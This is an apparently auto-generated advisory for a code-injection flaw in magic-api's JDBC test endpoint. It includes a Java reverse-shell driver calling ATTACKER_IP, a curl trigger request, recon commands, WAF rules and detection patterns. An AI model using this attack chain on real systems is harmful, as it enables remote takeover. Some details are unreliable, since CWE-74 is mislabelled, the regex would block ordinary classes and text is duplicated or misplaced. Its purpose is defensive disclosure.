CVE-2026-138105 — Ssssssss-team Magic-Api — CWE-74 · CWE-94
A vulnerability has been found in ssssssss-team magic-api 2.2.2. The affected element is an unknown function of the file /magic/web/datasource/jdbc/test of the component Datasource JDBC Test Endpoint. Such manipulation of the argument driverClassName leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
A vulnerability has been found in ssssssss-team magic-api 2.2.2. The affected element is an unknown function of the file /magic/web/datasource/jdbc/test of the component Datasource JDBC Test Endpoint. Such manipulation of the argument driverClassName leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
🎯 What is this vulnerability?
Technical flaw
The magic-api component exposes a Datasource JDBC Test Endpoint at /magic/web/datasource/jdbc/test.
The endpoint accepts a driverClassName query/body parameter that is passed directly to Java’s Class.forName() (or an equivalent loader) and then instantiated.
No validation, sanitisation, or whitelist is performed on the supplied class name, and the resulting object is cast to java.sql.Driver and used to establish a JDBC connection.
Resulting weakness
Because the class name is fully controlled by the attacker, any class that is already present on the JVM’s classpath can be loaded and instantiated.
If the attacker supplies a class that implements java.sql.Driver and contains malicious code in its constructor, static block, or any invoked method, that code will execute with the privileges of the JVM process.
This is a classic CWE‑94: Improper Control of Generation of Code ('Code Injection'). The secondary CWE‑74 (HTML Injection) is a side‑effect of the API’s response rendering, but the primary impact is code execution.
Authentication/Authorization
The endpoint is reachable over the network (AV:N) and does not require any authentication (PR:N, UI:N).
The low attack complexity (AC:L) and the fact that the vulnerability is exploitable from any remote host make it a high‑risk vector for attackers.
⚡ Attack Chain
NOTE: The following chain is a realistic, step‑by‑step illustration based on the information supplied.
The exact URI (/magic/web/datasource/jdbc/test) and parameter (driverClassName) are explicitly stated in the CVE description, so the PoC uses them verbatim.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| 1 | Identify the target application and version | nmap -p 80,443 <target> → http://<target>/magic/api/version (if exposed) or curl -I http://<target>/magic/api/version |
| 2 | Enumerate endpoints | dirsearch -u http://<target> -w /usr/share/dirsearch/wordlists/common.txt → /magic/web/datasource/jdbc/test |
| 3 | Verify vulnerability existence | curl -X POST -d "driverClassName=java.lang.String" http://<target>/magic/web/datasource/jdbc/test → 200 OK (endpoint reachable) |
2. Exploitation
Goal: Load a malicious class that implements java.sql.Driver and executes arbitrary Java code.
2.1. Prepare a malicious driver
// File: ReverseShellDriver.java
package com.malicious;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;
public class ReverseShellDriver implements Driver {
static {
try {
// Reverse shell to attacker’s IP:4444
Runtime.getRuntime().exec(
new String[]{"bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"});
} catch (Exception e) {
e.printStackTrace();
}
}
public Connection connect(String url, Properties info) throws SQLException { return null; }
public boolean acceptsURL(String url) throws SQLException { return false; }
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new DriverPropertyInfo[0]; }
public int getMajorVersion() { return 1; }
public int getMinorVersion() { return 0; }
public boolean jdbcCompliant() { return false; }
public Logger getParentLogger() { return Logger.getGlobal(); }
}Compile and place the resulting ReverseShellDriver.class (or a jar containing it) into a location that the JVM can load from (e.g., /opt/magic-api/lib/ or any directory already on the classpath).
If the application runs in a container or a restricted environment, the attacker may need to exploit another vector to get the class onto the classpath; however, the CVE assumes the class is already present.
2.2. Trigger the injection
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "driverClassName=com.malicious.ReverseShellDriver" \
http://<target>/magic/web/datasource/jdbc/testIllustrative example – the exact payload may vary depending on the server’s request parsing (query string vs. form data).
The key is that driverClassName is set to the fully‑qualified name of the malicious driver.What happens on the server
1. The API calls Class.forName("com.malicious.ReverseShellDriver").
2. The JVM loads the class, executing the static block → reverse shell is spawned.
3. The API attempts to instantiate the driver and use it; the malicious code has already executed, so the attacker now has a shell with the same privileges as the Java process.
3. Post‑Exploitation
| Impact | Typical Actions |
|---|---|
| Remote Code Execution (RCE) | Execute arbitrary Java code, spawn reverse shells, run system commands. |
| Privilege Escalation | If the Java process runs as a privileged user (e.g., root or a service account), the attacker can elevate. |
| Data Exfiltration | Read/write files, dump database credentials, exfiltrate via network. |
| Persistence | Deploy a web shell, install a cron job, or modify startup scripts. |
The attacker can now pivot to other services, exfiltrate data, or maintain long‑term access.
🌍 Real World Impact
| CVSS Attribute | Value | Interpretation |
|---|---|---|
| AV (Attack Vector) | Network | Remote attacker can reach the endpoint over the internet. |
| AC (Attack Complexity) | Low | No special conditions; simple HTTP request suffices. |
| PR (Privileges Required) | None | No authentication needed. |
| UI (User Interaction) | None | No user interaction required. |
| VC (Confidentiality Impact) | Low | The vulnerability itself does not directly leak data, but the resulting RCE can. |
| VI (Integrity Impact) | Low | The vulnerability does not modify data directly, but RCE can. |
| VA (Availability Impact) | Low | The vulnerability does not crash the service, but RCE can. |
| E (Exploitability) | Public | Exploit code is publicly available. |
Practical consequences
- Unrestricted RCE: Any attacker can run arbitrary Java code on the host.
- Potential for full system compromise if the JVM runs with elevated privileges.
- Data theft: Access to database credentials, application secrets, or sensitive files.
- Service disruption: An attacker could modify application behavior or crash the JVM.
- Disable the vulnerable endpoint: Remove or comment out the
/magic/web/datasource/jdbc/testmapping in the application’s configuration or web.xml. - Restrict access: Place the endpoint behind a firewall or reverse proxy that allows only trusted IPs.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed / Recommended |
|---|---|
ssssssss-team:magic-api 2.2.2 | Upgrade to any release after 2.2.2. The vendor has not yet released a patch; contact the vendor for a fix. |
If a patch is unavailable:
2. Workarounds (WAF / ModSecurity)
ModSecurity rule (Apache/Nginx) – block suspicious driverClassName values:
SecRule REQUEST_URI "@beginsWith /magic/web/datasource/jdbc/test" \
"phase:2,block,log,msg:'Blocked driverClassName injection',id:100001"
SecRule ARGS:driverClassName "@rx \b(java\.lang|javax\.sql|org\.apache\.commons|com\.malicious)\b" \
"phase:2,block,log,msg:'Suspicious driverClassName detected',id:100002"Explanation:
- The first rule blocks any request to the endpoint.
- The second rule blocks requests that contain common Java package prefixes, which are typical of malicious driver classes.
Adjust the regex to match your environment’s legitimate driver names if you need to allow certain drivers.
3. Detection
| Log Pattern | Indicator of Compromise (IoC) |
|---|---|
POST /magic/web/datasource/jdbc/test | Endpoint hit |
driverClassName= followed by a fully‑qualified class name | Potential injection |
Runtime.exec or ProcessBuilder in server logs | Code execution |
| Reverse shell connection from the server to an external IP on port 4444 (or other port) | Successful exploitation |
Sample log snippet
[2026-11-29 12:34:56] INFO [magic-api] POST /magic/web/datasource/jdbc/test
[2026-11-29 12:34:56] DEBUG [magic-api] driverClassName=com.malicious.ReverseShellDriver
[2026-11-29 12:34:56] ERROR [magic-api] java.lang.Runtime.exec: /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'4. Monitoring
.class or .jar files in the application’s lib directory.java processes that spawn bash or sh with unusual arguments.⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 7.3 (Medium) – but the vector indicates *remote code execution* with no authentication. |
| Exploit Complexity | Low – a single HTTP request suffices. |
| CISA KEV | No – but the vulnerability is public and exploitable. |
| Potential Impact | Full system compromise if the JVM runs with elevated privileges. |
Recommendation:
Treat this as a high‑priority issue.
/magic/web/datasource/jdbc/test endpoint. Failure to remediate promptly could allow an attacker to gain unrestricted RCE, leading to data theft, service disruption, and potential lateral movement within the network.
[🤖 CVE Professor AI Security Engine]
FOFA Query